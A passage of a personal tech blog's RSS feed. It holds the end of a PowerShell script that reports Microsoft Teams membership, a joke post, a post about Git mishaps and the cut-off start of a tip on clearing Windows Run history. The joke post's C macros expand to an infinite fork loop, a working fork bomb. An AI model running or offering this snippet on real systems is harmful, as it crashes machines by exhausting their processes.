&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$ownerCount&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$memberCount&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$guestCount&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#connect to teams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Connect-MicrosoftTeams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;Get-Team&lt;/span&gt; -GroupId &lt;span style=&#34;color:#f4dbd6&#34;&gt;$TEAM_ID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Patience, supposed to be a virtue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Successfully connected to Team: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.DisplayName)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Getting all users in the team&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Please be patient, if there are a lot of users, this can take a while...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Attempt to get team users, throw error message if no access&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Get team members&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f4dbd6&#34;&gt;$users&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;Get-TeamUser&lt;/span&gt; -GroupId &lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;groupID&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Loop through and get all the users&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt; = &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# foreach user create a line in the report&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#c6a0f6&#34;&gt;ForEach&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$user&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$users&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Show some output to the user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Progress&lt;/span&gt; -Id &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; -Activity &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Generating user report from Teams&amp;#34;&lt;/span&gt; -Status &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; of &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$users&lt;/span&gt;.Count)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt; -PercentComplete ((&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt; / &lt;span style=&#34;color:#f4dbd6&#34;&gt;$users&lt;/span&gt;.Count) * &lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Maintain a count of user types&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#c6a0f6&#34;&gt;switch&lt;/span&gt;(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$user&lt;/span&gt;.Role) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;owner&amp;#34;&lt;/span&gt; { &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ownerCount&lt;/span&gt;++ }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;member&amp;#34;&lt;/span&gt; { &lt;span style=&#34;color:#f4dbd6&#34;&gt;$memberCount&lt;/span&gt;++ }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;guest&amp;#34;&lt;/span&gt; { &lt;span style=&#34;color:#f4dbd6&#34;&gt;$guestCount&lt;/span&gt;++ }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create an object to hold all values&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f4dbd6&#34;&gt;$ReportObject&lt;/span&gt; = &lt;span style=&#34;color:#91d7e3&#34;&gt;New-Object&lt;/span&gt; PSObject -Property &lt;span style=&#34;color:#f4dbd6&#34;&gt;@&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			User = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$user&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			Email = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$user&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;User&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			Role = &lt;span style=&#34;color:#f4dbd6&#34;&gt;$user&lt;/span&gt;.&lt;span style=&#34;color:#f5a97f&#34;&gt;Role&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add to the report&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Report&lt;/span&gt; += &lt;span style=&#34;color:#f4dbd6&#34;&gt;$ReportObject&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;		&lt;span style=&#34;color:#f4dbd6&#34;&gt;$currentIndex&lt;/span&gt;++
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;catch&lt;/span&gt; [&lt;span style=&#34;color:#eed49f&#34;&gt;Microsoft.TeamsCmdlets.PowerShell.Custom.ErrorHandling.ApiException&lt;/span&gt;] {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Yellow &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;No access to &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.DisplayName)&lt;span style=&#34;color:#a6da95&#34;&gt; team, cannot generate report&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#Complete progress&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Progress&lt;/span&gt; -Id &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt; -Activity &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt; -Status &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt; -Completed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Disconnect from teams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Disconnect-MicrosoftTeams&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Write out details for the user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;============================================================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;                Microsoft Teams User Report                 &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Team Details:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Name: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.DisplayName)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Description: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.Description)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Mail Nickname: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.MailNickName)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Archived: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.Archived)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Visiblity: &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$team&lt;/span&gt;.Visibility)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Team User Details:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Owners - &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$ownerCount&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Members - &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$memberCount&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Guests - &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$guestCount&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Green &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;============================================================&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f4dbd6&#34;&gt;$Report&lt;/span&gt; | &lt;span style=&#34;color:#91d7e3&#34;&gt;Export-CSV&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;$exportLocation&lt;/span&gt; -NoTypeInformation -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;Write-Host&lt;/span&gt; -ForegroundColor Blue &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Exported report to &lt;/span&gt;$(&lt;span style=&#34;color:#f4dbd6&#34;&gt;$exportLocation&lt;/span&gt;)&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Of course, programming against the API is always more powerful, but sometimes quick and easy is what is needed. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Livelock == 2020</title>
      <link>/post/2020/06/livelock-2020/</link>
      <pubDate>Wed, 03 Jun 2020 00:00:00 +0000</pubDate>
      
      <guid>/post/2020/06/livelock-2020/</guid>
      <description>&lt;p&gt;With everything going around us - this is what 2020 feels like. &amp;#x1f62e;&amp;zwj;&amp;#x1f4a8;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Livelock == an infinite loop that 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// means the program is frozen
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#define FROZEN while(1)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// in hell, there are demons with pitchforks
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#define HELL fork();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FROZEN HELL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Git and Code</title>
      <link>/post/2020/05/git-and-code/</link>
      <pubDate>Sun, 10 May 2020 00:00:00 +0000</pubDate>
      
      <guid>/post/2020/05/git-and-code/</guid>
      <description>&lt;p&gt;I think this from &lt;a
	
		href = &#34;https://xkcd.com/1597/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		xkcd
	&lt;/span&gt;
&lt;/a&gt; sums up my afternoon quite nicely. Messed up a repo, and then was trying to &amp;lsquo;clean up&amp;rsquo;.&lt;/p&gt;
&lt;p&gt;A huge thank you to Lily, on the team, for working with me to cleaning up my mess, and helping me show some of the ropes.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/git.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I know there are quite a few tutorials out there; a couple of these that I found including one from Lily.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[Git syncing](http://git syncing) and a great &lt;a
	
		href = &#34;https://www.atlassian.com/git/tutorials/setting-up-a-repository&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		beginner&amp;rsquo;s guide
	&lt;/span&gt;
&lt;/a&gt; if you need that.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://learngitbranching.js.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Learning Git Branching
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So go ahead, and set up an experiment repo, and don&amp;rsquo;t be afraid to play and break things.&lt;/p&gt;
&lt;p&gt;Maybe &lt;a
	
		href = &#34;https://www.desigeek.com/blog/amit/2013/08/06/how-to-insult-a-developer/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this needs
	&lt;/span&gt;
&lt;/a&gt; to be updated to reflect Git, from REST. &amp;#x1f604;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Deleting Windows run history</title>
      <link>/post/2019/09/deleting-windows-run-history/</link>
      <pubDate>Sat, 28 Sep 2019 00:00:00 +0000</pubDate>
      
      <guid>/post/2019/09/deleting-windows-run-history/</guid>
      <description>&lt;p&gt;If you have butter fingers like me, and over time end up with a lot of old commands with typos in your Windows run box that get annoying - deleting them is a simple. All you need to do it remove the following registry key.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
